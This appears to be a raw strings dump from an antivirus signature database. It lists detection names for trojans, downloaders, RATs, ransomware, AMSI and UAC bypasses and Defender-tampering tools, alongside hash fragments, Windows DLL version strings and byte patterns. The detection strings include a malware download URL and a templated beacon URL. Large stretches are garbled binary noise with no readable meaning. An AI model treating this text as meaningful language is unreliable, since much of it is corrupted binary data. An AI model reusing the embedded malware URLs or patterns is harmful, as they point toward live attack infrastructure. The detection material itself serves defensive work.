!#SLF:JarSingleFileInsideArchive.B!7zip g'<!#SLF:JarSingleFileInsideArchive.B!7zip !#SLF:LnkSingleFileInsideArchive.B!7zip g'<!#SLF:LnkSingleFileInsideArchive.B!7zip 
!#SLF:JarSingleFileInsideArchive.B!rar h&>!#SLF:JarSingleFileInsideArchive.B!rar !#SLF:JarSingleFileInsideArchive.B!zip h&>!#SLF:JarSingleFileInsideArchive.B!zip 
!#SLF:LnkSingleFileInsideArchive.B!rar h&>!#SLF:LnkSingleFileInsideArchive.B!rar !#SLF:LnkSingleFileInsideArchive.B!zip h&>!#SLF:LnkSingleFileInsideArchive.B!zip 
!#ALF:Win32/OfficeWithWmiObject.A i!D!#ALF:Win32/OfficeWithWmiObject.A !#SLF:Context/NonPeFileInStartUpFolder.A!js i+:!#SLF:Context/NonPeFileInStartUpFolder.A!js 
!#SLF:Context/NonPeFileInStartUpFolder.A!vb i+:!#SLF:Context/NonPeFileInStartUpFolder.A!vb !#SLF:Context/JarFileDownloaded.A!downloads k+<!#SLF:Context/JarFileDownloaded.A!downloads 
!#SLF:Context/NonPeFileInStartUpFolder.A!hta k,;!#SLF:Context/NonPeFileInStartUpFolder.A!hta !#SLF:Context/NonPeFileInStartUpFolder.A!jar k,;!#SLF:Context/NonPeFileInStartUpFolder.A!jar 
!#ALF:VirTool:PowerShell/MpTamperDisableFeatureWd.C p39!#ALF:VirTool:PowerShell/MpTamperDisableFeatureWd.C !#ALF:Win32/OfficeWithWmiObject.B s!N!#ALF:Win32/OfficeWithWmiObject.B 
!#SLF:JarSingleFileInsideArchive.A!7zip w'L!#SLF:JarSingleFileInsideArchive.A!7zip !#SLF:LnkSingleFileInsideArchive.A!7zip w'L!#SLF:LnkSingleFileInsideArchive.A!7zip 
!#ALF:Trojan:O97M/HiddenXlmInOfficeOXML.A w)J!#ALF:Trojan:O97M/HiddenXlmInOfficeOXML.A !#SLF:JarSingleFileInsideArchive.A!rar x&N!#SLF:JarSingleFileInsideArchive.A!rar 
!#SLF:JarSingleFileInsideArchive.A!zip x&N!#SLF:JarSingleFileInsideArchive.A!zip !#SLF:LnkSingleFileInsideArchive.A!rar x&N!#SLF:LnkSingleFileInsideArchive.A!rar 
!#SLF:LnkSingleFileInsideArchive.A!zip x&N!#SLF:LnkSingleFileInsideArchive.A!zip !#ALF:Trojan:O97M/VeryXlmInOfficeOXML.A y'N!#ALF:Trojan:O97M/VeryXlmInOfficeOXML.A 
!#ALF:Trojan:O97M/EncDoc.V1 \\!#ALF:Trojan:O97M/EncDoc.V1 !#ALF:Trojan:O97M/EncDoc.V2 \\!#ALF:Trojan:O97M/EncDoc.V2 !#ALF:Trojan:O97M/EncDoc.NV1 ]!#ALF:Trojan:O97M/EncDoc.NV1 
!#ALF:Trojan:O97M/EncDoc.V3 `!#ALF:Trojan:O97M/EncDoc.V3 !#SLF:Context/FileInADSEdge.A _!#SLF:Context/FileInADSEdge.A !#SLF:Context/FileInADSDesktop.A  
`!#SLF:Context/FileInADSDesktop.A !#SLF:Context/OfficeObjectFileAttachment.B!js -S!#SLF:Context/OfficeObjectFileAttachment.B!js !#SLF:Context/FileInADSDownload.A 
!a!#SLF:Context/FileInADSDownload.A !#SLF:Context/FileInADSTempFolder.A #_!#SLF:Context/FileInADSTempFolder.A !#SLF:Context/OfficeObjectFileAttachment.B!bat 
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!a!#SLF:Context/FileInADSDownload.A !#SLF:Context/FileInADSTempFolder.A #_!#SLF:Context/FileInADSTempFolder.A !#SLF:Context/OfficeObjectFileAttachment.B!bat 
.T!#SLF:Context/OfficeObjectFileAttachment.B!bat !#SLF:Context/OfficeObjectFileAttachment.B!cmd .T!#SLF:Context/OfficeObjectFileAttachment.B!cmd 
!#SLF:Context/OfficeObjectFileAttachment.B!com .T!#SLF:Context/OfficeObjectFileAttachment.B!com !#SLF:Context/OfficeObjectFileAttachment.B!exe 
.T!#SLF:Context/OfficeObjectFileAttachment.B!exe !#SLF:Context/OfficeObjectFileAttachment.B!hta .T!#SLF:Context/OfficeObjectFileAttachment.B!hta !#SLF:Context/OfficeObjectFileAttachment.B!jar 
.T!#SLF:Context/OfficeObjectFileAttachment.B!jar !#SLF:Context/OfficeObjectFileAttachment.B!lnk .T!#SLF:Context/OfficeObjectFileAttachment.B!lnk !#SLF:Context/OfficeObjectFileAttachment.B!pif 
.T!#SLF:Context/OfficeObjectFileAttachment.B!pif !#SLF:Context/OfficeObjectFileAttachment.B!ps1 .T!#SLF:Context/OfficeObjectFileAttachment.B!ps1 !#SLF:Context/OfficeObjectFileAttachment.B!scr 
.T!#SLF:Context/OfficeObjectFileAttachment.B!scr !#SLF:Context/OfficeObjectFileAttachment.B!vbs .T!#SLF:Context/OfficeObjectFileAttachment.B!vbs !#SLF:Context/FileInADSEdge.B 
i!#SLF:Context/FileInADSEdge.B !#ALF:VirTool:PowerShell/MpTamperDisableFeatureWd.B 3Z!#ALF:VirTool:PowerShell/MpTamperDisableFeatureWd.B !#ALF:CMD:Trojan:Win32/TrapsDisableAV 
%j!#ALF:CMD:Trojan:Win32/TrapsDisableAV !#ALF:Trojan:O97M/EncDoc.NV2 y!#ALF:Trojan:O97M/EncDoc.NV2 !#SLF:Win32/CVE-2019-1367.A!payload #r!#SLF:Win32/CVE-2019-1367.A!payload 
!#ALF:Trojan:O97M/HiddenXlm.A !#ALF:Trojan:O97M/HiddenXlm.C !#ALF:Trojan:O97M/XlmInOfficeOXML.C !#ALF:Trojan:O97M/ContainsXlm.A !#ALF:Trojan:O97M/HiddenXlm.B 
!#TEL:AGGR:ZipSlip7z !#TEL:AGGR:ZipSlipJar !#TEL:AGGR:ZipSlipRar !#ALF:Trojan:O97M/EncDoc.F1 !#ALF:Trojan:O97M/EncDoc.F2 !#ALF:CMD:Trojan:Win32/TrapsDoubleExtension 
_#LOWFI:Lua:ContextualDropFileIE _#LOWFI:Lua:ContextualDropFileIEU( z_#LOWFI:Lua:ContextualDropFileOpera z_#LOWFI:Lua:ContextualDropFileOperaU)W 
_#LOWFI:Lua:ContextualDropFileChrome _#LOWFI:Lua:ContextualDropFileChromeU* _#LOWFI:Lua:ContextualDropFileFirefox _#LOWFI:Lua:ContextualDropFileFirefoxU.= 
X_#LOWFI:Lua:ContextualDropFileSkypeExtBin X_#LOWFI:Lua:ContextualDropFileSkypeExtBinU1 _#LOWFI:Lua:ContextualDropFileSkypeExtOffice 
_#LOWFI:Lua:ContextualDropFileSkypeExtOfficeU2B $_#LOWFI:Lua:ContextualDropFileSkypeExtArchive $_#LOWFI:Lua:ContextualDropFileSkypeExtArchiveU2 
_#LOWFI:Lua:ContextualDropFileSkypeDefaultBin _#LOWFI:Lua:ContextualDropFileSkypeDefaultBinU5i ~_#LOWFI:Lua:ContextualDropFileSkypeDefaultOffice 
~_#LOWFI:Lua:ContextualDropFileSkypeDefaultOfficeU6] _#LOWFI:Lua:ContextualDropFileSkypeDefaultArchive _#LOWFI:Lua:ContextualDropFileSkypeDefaultArchivez 25b3513fc5f0 
OfficeLaunchesWmi  25b3663b0782  25b39c330726  69b3b5a9042a  sEF@  !#TEL:MacroLibKernel32 ByVal Mldg = \"Fehler # \" & Str(Err.Number) & \" wurde ausgel If Selection.Type = wdSelectionIP 
Then 'Insertion point... means it's not selected MsgBox (\"Word could not communicate with Zotero. Please ensure Zotero is running and try again BULKEXPORTINDEX = \"XUM\" 63d74a34af5f 
W63d74a34af5f 65d759637238 W65d759637238 69d79d049062 W69d79d049062 6bd74f5f9e2c W6bd74f5f9e2c 6bd75c1bd5e2 W6bd75c1bd5e2 d1d77950b1dc Wd1d77950b1dc e3d77e0a105a 
We3d77e0a105a MpInternal_Lua:ThrottleAttribute.5000 &MpInternal_Lua:ThrottleAttribute.5000 6fb347ed3ea1 d4f940ab-401b-4efc-aadc-ad5f3c50688a %d4f940ab-401b-4efc-aadc-ad5f3c50688a 
75b3804b448b 51b3453d88af 51b3453d88afIncludesBMLuaLib 51b34af10a7e 51b34af10a7eIncludesBMLuaLib 45b3f8eb1f25  95b3d5503600   !#SLF:Context/Kovter.B!lnk 
!#SLF:Context/Kovter.B!lnkObMpAttributes  !#SLF:Context/Kovter.C !#SLF:Context/Kovter.CObMpAttributes opyright OriginalFilenamesyncengj%   $ @@#g.a RSDSf0+ dbmsrpcn.pdb dbmsrpcn.pdb3 
DBMSRPCN.DLL ConnectionClose ConnectionObjectSize DBMSRPCN.DLLConnectionCloseConnectionObjectSize FileDescriptionWindows dbmsrpcn Library InternalNamedbmsrpcn 
OriginalFilenamedbmsrpcnj%   $ @@$g.a API-MS-WIN-CORE-LOCALIZATION-L1-1-0.DLL API-MS-WIN-CORE-LOCALIZATION-L1-1-0.DLLRSDS api-ms-win-core-localization-l1-1-0.pdb 
FileDescriptionWindows api-ms-win-core-localization-l1-1-0 Library FileVersion10.0.10126.0 (GitEnlistment(amopslocal).210831-1009)h$ InternalNameapi-ms-win-core-localization-l1-1-0  Microsoft 
Corporation. All rights reserved.p$ OriginalFilenameapi-ms-win-core-localization-l1-1-0j%   $ @@(g.a api-ms-win-core-io-l1-1-0.dll CreateIoCompletionPort kernel32.CreateIoCompletionPort 
kernel32.DeviceIoControl GetOverlappedResult kernel32.GetOverlappedResult GetQueuedCompletionStatus kernel32.GetQueuedCompletionStatus PostQueuedCompletionStatus 
kernel32.PostQueuedCompletionStatus RSDSsNdD api-ms-win-core-io-l1-1-
0.dllCreateIoCompletionPortkernel32.CreateIoCompletionPortDeviceIoControlkernel32.DeviceIoControlGetOverlappedResultkernel32.GetOverlappedResultGetQueuedCompletionStatuskernel32.GetQ
ueuedCompletionStatusPostQueuedCompletionStatuskernel32.PostQueuedCompletionStatusRSDSsNdD api-ms-win-core-io-l1-1-0.pdb StringFileInfoF FileDescriptionWindows api-ms-win-core-io-l1-1-
0 Library FileVersion10.0.10126.0 (GitEnlistment(amopslocal).210831-1009)T InternalNameapi-ms-win-core-io-l1-1-0  Microsoft Corporation. All rights reserved.\\ OriginalFilenameapi-ms-win-core-io-l1-
1-0j%   $ @@/e.a dpnhupnp.pdb dpnhupnp.pdb3 DPNHUPNP.DLL DPNHUPNP.DLLDllCanUnloadNowDllRegisterServerDllUnregisterServerDllGetClassObject FileDescriptionWindows dpnhupnp 
Library InternalNamedpnhupnp OriginalFilenamedpnhupnpj%   $ .text{ @@0e.a iskCopyRunDllWcom:asm.v1\"yToken=\"6595b64 FAT12 Disk I/O any keyDOS   
SY$B#DB%1$C3DCDCDDEdDGEQ$ESDE ONFIG ETRAMD SPI4DOS TCDROM SPI2DOS_XcptFiltersetusermatheadjust_fdiv%20Windows%20VB RSDSt 
SPI2DOS_XcptFiltersetusermatheadjust_fdiv%20Windows%20VBRSDSt diskcopy.pdb diskcopy.pdb3 lc.aL DISKCOPY.DLL DISKCOPY.DLLDllCanUnloadNowDllGetClassObject 
FileDescriptionWindows diskcopy Library InternalNamediskcopy OriginalFilenamediskcopyj% 6e788cf075ae  6e78e70d6c96  6f782641d577  6f7832360fb5  6f78b7005b71  707850c4e973  
7078746cc95a  70788727773b  7178c6205f37  727832380ad4  727865a93c30  72787eabf4e6  7278eaf66663  73781163b4f5  7378c62df341  7378f372dedd  747819b1ef73  747834fbe85d  
7478831c20e3  7478b42bc5e2  75782cd97c10  757887b62bb8  7578d17e2e36  7578fb091115  767870f2c92c  767871dba105  7678d5c4f6be  7678f261e805  7778ddcc98b4  7878691ccfa3  
7878b2bca476  7878fd640a02  7978614a07e0  79787df2c0b1  7a78c552e1c1  7b78dd1a5848  7b78e6f52dbd  7c7818b044be  7d784db15404  7d78ff016654  7e783c4816d7  7e78a253f183  
80610917e292  8078d802e4de  8178f1fccf20  827862845ae6  8278bd91a6fb  !#SLF:AGGR:ExeFileDropBySystemProc!l_root s)F!#SLF:AGGR:ExeFileDropBySystemProc!l_root 
!#SLF:AGGR:ExeFileDropBySystemProc!m_root s)F!#SLF:AGGR:ExeFileDropBySystemProc!m_root !#SLF:AGGR:ExeFileDropBySystemProc!n_root 
s)F!#SLF:AGGR:ExeFileDropBySystemProc!n_root !#SLF:AGGR:ExeFileDropBySystemProc!o_root s)F!#SLF:AGGR:ExeFileDropBySystemProc!o_root 
!#SLF:AGGR:ExeFileDropBySystemProc!p_root s)F!#SLF:AGGR:ExeFileDropBySystemProc!p_root !#SLF:AGGR:ExeFileDropBySystemProc!q_root 
s)F!#SLF:AGGR:ExeFileDropBySystemProc!q_root !#SLF:AGGR:ExeFileDropBySystemProc!r_root s)F!#SLF:AGGR:ExeFileDropBySystemProc!r_root !#SLF:AGGR:ExeFileDropBySystemProc!s_root 
s)F!#SLF:AGGR:ExeFileDropBySystemProc!s_root !#SLF:AGGR:ExeFileDropBySystemProc!sysdir s)F!#SLF:AGGR:ExeFileDropBySystemProc!sysdir !#SLF:AGGR:ExeFileDropBySystemProc!t_root 
s)F!#SLF:AGGR:ExeFileDropBySystemProc!t_root !#SLF:AGGR:ExeFileDropBySystemProc!u_root s)F!#SLF:AGGR:ExeFileDropBySystemProc!u_root !#SLF:AGGR:ExeFileDropBySystemProc!v_root 
s)F!#SLF:AGGR:ExeFileDropBySystemProc!v_root !#SLF:AGGR:ExeFileDropBySystemProc!w_root s)F!#SLF:AGGR:ExeFileDropBySystemProc!w_root 
!#SLF:AGGR:ExeFileDropBySystemProc!windir s)F!#SLF:AGGR:ExeFileDropBySystemProc!windir !#SLF:AGGR:ExeFileDropBySystemProc!x_root s)F!#SLF:AGGR:ExeFileDropBySystemProc!x_root 
!#SLF:AGGR:ExeFileDropBySystemProc!y_root s)F!#SLF:AGGR:ExeFileDropBySystemProc!y_root !#SLF:AGGR:ExeFileDropBySystemProc!z_root s)F!#SLF:AGGR:ExeFileDropBySystemProc!z_root 
s*E!#AGGR:PowerShell/PSExploitDynamicAssembly !#SLF:HackTool:PowerShell/Internalon.I!MTB s*E!#SLF:HackTool:PowerShell/Internalon.I!MTB 
!#ALF:TrojanDownloader:O97M/EncDoc.TOTG!MTB s+D!#ALF:TrojanDownloader:O97M/EncDoc.TOTG!MTB !#ALF:TrojanDownloader:O97M/EncDoc.TOTH!MTB 
s+D!#ALF:TrojanDownloader:O97M/EncDoc.TOTH!MTB !#ALF:TrojanDownloader:O97M/EncDoc.TOTI!MTB s+D!#ALF:TrojanDownloader:O97M/EncDoc.TOTI!MTB 
!#ALF:TrojanDownloader:O97M/EncDoc.TOTJ!MTB s+D!#ALF:TrojanDownloader:O97M/EncDoc.TOTJ!MTB !#SLF:HackTool:PowerShell/Internalon.A1!MTB 
s+D!#SLF:HackTool:PowerShell/Internalon.A1!MTB !#AllowList:Trojan:PowerShell/Exclusion.SA!MTB s.A!#AllowList:Trojan:PowerShell/Exclusion.SA!MTB 
!#AllowList:Trojan:PowerShell/Exclusion.SB!MTB s.A!#AllowList:Trojan:PowerShell/Exclusion.SB!MTB !#AllowList:Trojan:PowerShell/Exclusion.SC!MTB 
s.A!#AllowList:Trojan:PowerShell/Exclusion.SC!MTB !#ALF:Exploit:Script/PulseSecureTempFileUse.A!dha s1>!#ALF:Exploit:Script/PulseSecureTempFileUse.A!dha 
!#ALF:AGGR:LUA:DroppedExeWithNoCertInStartUpFolder.A!gen s87!#ALF:AGGR:LUA:DroppedExeWithNoCertInStartUpFolder.A!gen !#BM_AT:AADADFS_utils [!#BM_AT:AADADFS_utils 
!#AGGREGATOR:VBSDropB64Temp U!#AGGREGATOR:VBSDropB64Temp !#PoCExchgSoapVulnPathFrags U!#PoCExchgSoapVulnPathFrags !#SLF:RtfFileAttachment.EA!bat 
R!#SLF:RtfFileAttachment.EA!bat !#SLF:RtfFileAttachment.EA!cmd R!#SLF:RtfFileAttachment.EA!cmd !#SLF:RtfFileAttachment.EA!com R!#SLF:RtfFileAttachment.EA!com 
!#SLF:RtfFileAttachment.EA!exe R!#SLF:RtfFileAttachment.EA!exe !#SLF:RtfFileAttachment.EA!hta R!#SLF:RtfFileAttachment.EA!hta !#SLF:RtfFileAttachment.EA!jar R!#SLF:RtfFileAttachment.EA!jar 
!#SLF:RtfFileAttachment.EA!jse R!#SLF:RtfFileAttachment.EA!jse !#SLF:RtfFileAttachment.EA!lnk R!#SLF:RtfFileAttachment.EA!lnk !#SLF:RtfFileAttachment.EA!pif R!#SLF:RtfFileAttachment.EA!pif 
!#SLF:RtfFileAttachment.EA!ps1 R!#SLF:RtfFileAttachment.EA!ps1 !#SLF:RtfFileAttachment.EA!scr R!#SLF:RtfFileAttachment.EA!scr !#SLF:RtfFileAttachment.EA!vbe 
R!#SLF:RtfFileAttachment.EA!vbe !#SLF:RtfFileAttachment.EA!vbs R!#SLF:RtfFileAttachment.EA!vbs !#SLF:RtfFileAttachment.EA!wsf R!#SLF:RtfFileAttachment.EA!wsf 
!#SLF:RtfFileAttachment.EA!wsh R!#SLF:RtfFileAttachment.EA!wsh !#Phish:PHP/Post_pkt_pat1.GG!MTB t P!#Phish:PHP/Post_pkt_pat1.GG!MTB !#TEL:Trojan:MSIL/AgentTesla.RT!MTB 
t#M!#TEL:Trojan:MSIL/AgentTesla.RT!MTB !#TEL:Trojan:PowerShell/WannaMine.X t#M!#TEL:Trojan:PowerShell/WannaMine.X !#ALF:Exploit:Script/Driftwood.A!dha 
t$L!#ALF:Exploit:Script/Driftwood.A!dha !#ALF:VirTool:PowerShell/Impez.B!MTB t$L!#ALF:VirTool:PowerShell/Impez.B!MTB !#ALF:Backdoor:Perl/Steadypulse.A!dha 
t%K!#ALF:Backdoor:Perl/Steadypulse.A!dha !#ALF:Trojan:Android/Generality.C!dha t%K!#ALF:Trojan:Android/Generality.C!dha !#ALF:Trojan:Win32/Cassini_100fd735!ibt 
t'I!#ALF:Trojan:Win32/Cassini_100fd735!ibt !#ALF:Trojan:Win32/Cassini_3a91dee0!ibt t'I!#ALF:Trojan:Win32/Cassini_3a91dee0!ibt !#ALF:Trojan:Win32/Cassini_d7752493!ibt 
t'I!#ALF:Trojan:Win32/Cassini_d7752493!ibt !#TEL:HackTool:MSIL/SharpPrintNightmare t'I!#TEL:HackTool:MSIL/SharpPrintNightmare !#TEL:O97M/PossibleDonoffWithPassword.A 
t'I!#TEL:O97M/PossibleDonoffWithPassword.A !#ALF:TrojanDownloader:O97M/Mratmc.A!ams t(H!#ALF:TrojanDownloader:O97M/Mratmc.A!ams !#SLFPER:AGGR:PowerShell/EncodedIEX!amsi 
t(H!#SLFPER:AGGR:PowerShell/EncodedIEX!amsi !#ALF:HSTR:Backdoor:Win32/ParalaxRat.ST01 t)G!#ALF:HSTR:Backdoor:Win32/ParalaxRat.ST01 !#SLF:SuspFilePersistenceByProc!cmstp.exe 
t)G!#SLF:SuspFilePersistenceByProc!cmstp.exe !#SLF:SuspFilePersistenceByProc!excel.exe t)G!#SLF:SuspFilePersistenceByProc!excel.exe !#SLF:SuspFilePersistenceByProc!mshta.exe 
t)G!#SLF:SuspFilePersistenceByProc!mshta.exe !#SLF:Trojan:PowerShell/Paraphernalia.B!MTB t+E!#SLF:Trojan:PowerShell/Paraphernalia.B!MTB !#AGG:AllowList:Win64/Recovery_Rapids.Unity.A t-
C!#AGG:AllowList:Win64/Recovery_Rapids.Unity.A !#ALF:ExploitSwf a!#ALF:ExploitSwf !#do_deep_rescang a!#do_deep_rescang !#AGGR:Exploit:JS/EKeetz.A1 V!#AGGR:Exploit:JS/EKeetz.A1 
!#TEL:Win32/VBObfuse.RA!MTB V!#TEL:Win32/VBObfuse.RA!MTB !#Trojan:MSIL/Tisifi.RA!MTB V!#Trojan:MSIL/Tisifi.RA!MTB !#TEL:AGGR:Linux/Coinminer.A U!#TEL:AGGR:Linux/Coinminer.A 
S!#AGGREGATOR:VBSDropB64EXETemp !#ALF:Trojan:HTML/Phish.PDH!MTB R!#ALF:Trojan:HTML/Phish.PDH!MTB !#ALF:Trojan:UEFI/EfiGuardDxe.A R!#ALF:Trojan:UEFI/EfiGuardDxe.A 
!#ALF:Trojan:O97M/Trickbot.SK!MTB u!P!#ALF:Trojan:O97M/Trickbot.SK!MTB !#ALF:Backdoor:Script/RpivotRelay.A u#N!#ALF:Backdoor:Script/RpivotRelay.A 
!#ALF:AGGR:SupplyChain.PassLoader.ST00A u'J!#ALF:AGGR:SupplyChain.PassLoader.ST00A !#ALF:Trojan:Win32/Cassini_49780dfd!ibt u'J!#ALF:Trojan:Win32/Cassini_49780dfd!ibt 
!#ALF:Trojan:Win32/Cassini_e1ed095b!ibt u'J!#ALF:Trojan:Win32/Cassini_e1ed095b!ibt !#ALF:TrojanDownloader:Java/Tnega.MB!MTB u(I!#ALF:TrojanDownloader:Java/Tnega.MB!MTB 
!#ALF:TrojanDownloader/CannonFresco.C!dha u)H!#ALF:TrojanDownloader/CannonFresco.C!dha !#ALF:TrojanDownloader/CannonFresco.D!dha u)H!#ALF:TrojanDownloader/CannonFresco.D!dha 
!#TEL:AGGR:XMLwithBase64PowerShellCommand u)H!#TEL:AGGR:XMLwithBase64PowerShellCommand !#ALF:TrojanDownloader:VBS/Donvibs.PMS!MTB 
u*G!#ALF:TrojanDownloader:VBS/Donvibs.PMS!MTB !#SLF:AGGR:ExeFileDropBySystemProc!desktop u*G!#SLF:AGGR:ExeFileDropBySystemProc!desktop 
!#SLF:AGGR:ExeFileDropBySystemProc!perflog u*G!#SLF:AGGR:ExeFileDropBySystemProc!perflog !#SLF:AGGR:ExeFileDropBySystemProc!startup 
u*G!#SLF:AGGR:ExeFileDropBySystemProc!startup !#SLF:AGGR:ExeFileDropBySystemProc!sysprof u*G!#SLF:AGGR:ExeFileDropBySystemProc!sysprof 
!#SLF:AGGR:ExeFileDropBySystemProc!usrtemp u*G!#SLF:AGGR:ExeFileDropBySystemProc!usrtemp !#SLF:AGGR:ExeFileDropBySystemProc!wintemp 
u*G!#SLF:AGGR:ExeFileDropBySystemProc!wintemp !#SLF:AGGR:FileDropBySystemProc!sysappdata u*G!#SLF:AGGR:FileDropBySystemProc!sysappdata 
!#ALF:Exploit:Script/GeneralityB.Script!dha u+F!#ALF:Exploit:Script/GeneralityB.Script!dha u/B!#SLFPER:Trojan:PowerShell/PSExploitShellCode.C !#O97M/Zloader d!#O97M/Zloader 
!#Exclude:dfsvc.ni.exe \\!#Exclude:dfsvc.ni.exe !#AGGR:AllowList:ExamSoft Y!#AGGR:AllowList:ExamSoft !#ALF:Trojan/PSUACBypass.A X!#ALF:Trojan/PSUACBypass.A 
!#ALF:Trojan/PSUACBypass.B X!#ALF:Trojan/PSUACBypass.B !#SLF:XML/XslJScriptCode.A X!#SLF:XML/XslJScriptCode.A !#AGGR:CryptoRSA_Machinekeys V!#AGGR:CryptoRSA_Machinekeys 
!#ALF:AGGR:Emotet.Download.s001 S!#ALF:AGGR:Emotet.Download.s001 !#ALF:Trojan:BAT/TwinGear.A!dha S!#ALF:Trojan:BAT/TwinGear.A!dha !#SLF:AGGR:SuspAmsiScanBypass.A 
S!#SLF:AGGR:SuspAmsiScanBypass.A !#TEL:Backdoor:Perl/Dirtelti.AS S!#TEL:Backdoor:Perl/Dirtelti.AS !#ALF:Exploit:HTML/Nebbier.A!dha v R!#ALF:Exploit:HTML/Nebbier.A!dha 
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S!#SLF:AGGR:SuspAmsiScanBypass.A !#TEL:Backdoor:Perl/Dirtelti.AS S!#TEL:Backdoor:Perl/Dirtelti.AS !#ALF:Exploit:HTML/Nebbier.A!dha v R!#ALF:Exploit:HTML/Nebbier.A!dha 
!#AGGR:MSIL/Obfuscator!Niciosansa v!Q!#AGGR:MSIL/Obfuscator!Niciosansa !#ALF:Backdoor:PHP/Dirtelti.UG!MTB v\"P!#ALF:Backdoor:PHP/Dirtelti.UG!MTB !#ALF:Backdoor:PHP/Dirtelti.UJ!MTB 
v\"P!#ALF:Backdoor:PHP/Dirtelti.UJ!MTB !#ALF:Exploit:Python/Psyselle.B!dha v#O!#ALF:Exploit:Python/Psyselle.B!dha !#ALF:Exploit:Script/Makeshift.B!dha v$N!#ALF:Exploit:Script/Makeshift.B!dha 
!#ALF:HackTool:Win32/Deepvoice.E!dha v$N!#ALF:HackTool:Win32/Deepvoice.E!dha !#ALF:Backdoor:PHP/PhishKITPage.A!MTB v%M!#ALF:Backdoor:PHP/PhishKITPage.A!MTB 
!#ALF:TrojanSpy:MSIL/AgentTesla.AX!MTB v&L!#ALF:TrojanSpy:MSIL/AgentTesla.AX!MTB !#ALF:Exploit:O97M/CVE-2017-0199.SR!MTB v'K!#ALF:Exploit:O97M/CVE-2017-0199.SR!MTB 
!#ALF:Trojan:Win32/Cassini_123dbbdd!ibt v'K!#ALF:Trojan:Win32/Cassini_123dbbdd!ibt !#ALF:Trojan:Win32/Cassini_fdc17213!ibt v'K!#ALF:Trojan:Win32/Cassini_fdc17213!ibt 
!#AGGR:MSILFOP:VirTool:MSIL/Obfuscator.BA v)I!#AGGR:MSILFOP:VirTool:MSIL/Obfuscator.BA !#SLF:SuspFilePersistenceByProc!cmdkey.exe v*H!#SLF:SuspFilePersistenceByProc!cmdkey.exe 
!#ALF:Exploit:Script/AndroidChromeVersionCheck.A!dha v4>!#ALF:Exploit:Script/AndroidChromeVersionCheck.A!dha !#//Possible_RubyCode ^!#//Possible_RubyCode !#ALF:Trojan:VBS/Zloader.A 
Y!#ALF:Trojan:VBS/Zloader.A !#Lua:CleanStubsExcludePath X!#Lua:CleanStubsExcludePath !#ALF:Phish:PHP/Antibot.GG!MTB U!#ALF:Phish:PHP/Antibot.GG!MTB 
!#ALF:Ransom:Win32/Sncupte.STA U!#ALF:Ransom:Win32/Sncupte.STA !#ALF:VirTool:MSIL/Smear.A!MTB U!#ALF:VirTool:MSIL/Smear.A!MTB !#TEL:LnkDownloadsViaPowerShell 
T!#TEL:LnkDownloadsViaPowerShell !#Trojan:Win32/SdbPrivElevation.B w!R!#Trojan:Win32/SdbPrivElevation.B !#ALF:VirTool:PowerShell/DizClp.A!MTB 
w%N!#ALF:VirTool:PowerShell/DizClp.A!MTB !#TEL:Trojan:MSIL/LoadInjector.PJ!ibt w%N!#TEL:Trojan:MSIL/LoadInjector.PJ!ibt !#TEL:TrojanDownloader:JS/Nemucod.JAO 
w%N!#TEL:TrojanDownloader:JS/Nemucod.JAO !#ALF:TrojanDownloader:O97M/EncDoc.STD w&M!#ALF:TrojanDownloader:O97M/EncDoc.STD !#AGGR:PowerShell/ExecutionPolicyBypass 
w'L!#AGGR:PowerShell/ExecutionPolicyBypass !#SLF:CmdSingleFileInsideArchive.A!7zip w'L!#SLF:CmdSingleFileInsideArchive.A!7zip !#SLF:JseSingleFileInsideArchive.A!7zip 
w'L!#SLF:JseSingleFileInsideArchive.A!7zip QoFP. Bw] bi R3PBAw[ K=2d*? Q|{Pa wGuw/  ]kZP oIt x [s&`/ lRvhX LSCN(1d 4C#Xbuv: \\~,KM n&>/ Rx=IR  Z\t,n Z\tZ-cJ  Z\tZ-cJ No'SR& 1EO# Lq^dM,bA 
4pi$^ j^@\"{ d9\tDH%@ 33q14 llI>,  Z a7 q&N9;  Z!|' ~Ry_Hp DbHAZ  Z(VB Z(ZSN  Z(ZSN Fm0c! Z*EN=  Z*EN= -#,Wu Z.5[x  Z.5[x  Z/4x Z0R*h  Z0R*h  Z1 m  Z3GE lbZCLS Wu)Ke- E\\=*zP  Z5;} jUB;T 
Z8Q=  Z8Q= i@y5.Aa Z:ZklG_  Z:ZklG_ xP178  ZA7R x[/Yo[ nc>RA  ZH^O ZI}}$y  ZI}}$y  ZJ.5 =]PHx ZNL4u3Y  ZNL4u3Y ZOd=2L6>  ZOd=2L6> QfOAi |Y 'l@  ZR}/ ZS3/O  ZS3/O  ZSRy dwT{B 9f()UIe  
ZX#^ :=@CwhG%  ZZ`V  Z[dO  Z] ^ 1ru 6?&pQ9@  Zd,y ZhUwo  ZhUwo u:uA( 2o mW Znwg\t  Znwg\t  ZoJ} Zp1^w\"V}  Zp1^w\"V} :A?r$  Zu6O $)@kHi yQsuv Y3QlE Zx f0c  Zx f0c  ZxZ/ NItsp  Zz0{  
Zzwr (C&qa7E Z|-g%\"'  Z|-g%\"' |zEm*: Gw!|I7 -3xiA ;GRs% HDw^eM w6x(E- s/|Y| 'RxI)p4f^7e^ in32/Vundo.IH !#HSTR:VirTool:MSIL/GeneralPacker.H 4D5A90000300000004000000FFFF 
4D5A90000300000004000000FFFFxL !#HSTR:VirTool:Win32/Obfuscator.ACV!Export lb_rat2.dll SnowShow1 lb_rat2.dllSnowShow1xL !#HSTR:VirTool:Win32/Obfuscator.PN!crypt.2 
!#HSTR:Virus:Win32/Patchload.2 !#HSTR:Win32/Banload.ZEE.URL.1 artplic.com.br/images/next_go.php artplic.com.br/images/next_go.phpxL !#HSTR:Win32/EmotetCrypt.MX!MTB 
!#HSTR:Win32/Pumba.2 Arquivo danificado.    Alerta do Windows !#HSTR:Win32/Raccoon.D !#HSTR:Win64/Meterpreter!Kernel32.WaitForSingleObject !#HSTR:Wizrem.X1.PublisherSleepCycle 
!#Lowfi:HSTR:MSIL:Downreg.A bjectValue Downloader.exe bjectValueDownloader.exeRandomizexL !#Lowfi:HSTR:Win32/DriverUpdater.B name=\"SmartDriverUpdater.exe\" 
name=\"SmartDriverUpdater.exe\"xL !#Lowfi:HSTR:Win32/GetNow.B ,\"eventType\":13,\"eventName\":\"bundle\" ,\"eventType\":13,\"eventName\":\"bundle\"xL !#Lowfi:HSTR:Win32/Hrup 
http://%s/information.php?a=%s&b=%d&c=%d http://%s/information.php?a=%s&b=%d&c=%dxL !#Lowfi:HSTR:Win32/Obfuscator.Enigma TEnigmaProtectorLoaderTimer 
TEnigmaProtectorLoaderTimerxL !#Lowfi:HSTR:Win32/Obfuscator.WinLicense WinLicenseDriverVersion WinLicenseDriverVersionxL !#Lowfi:HSTR:Win32/Softobase.B 
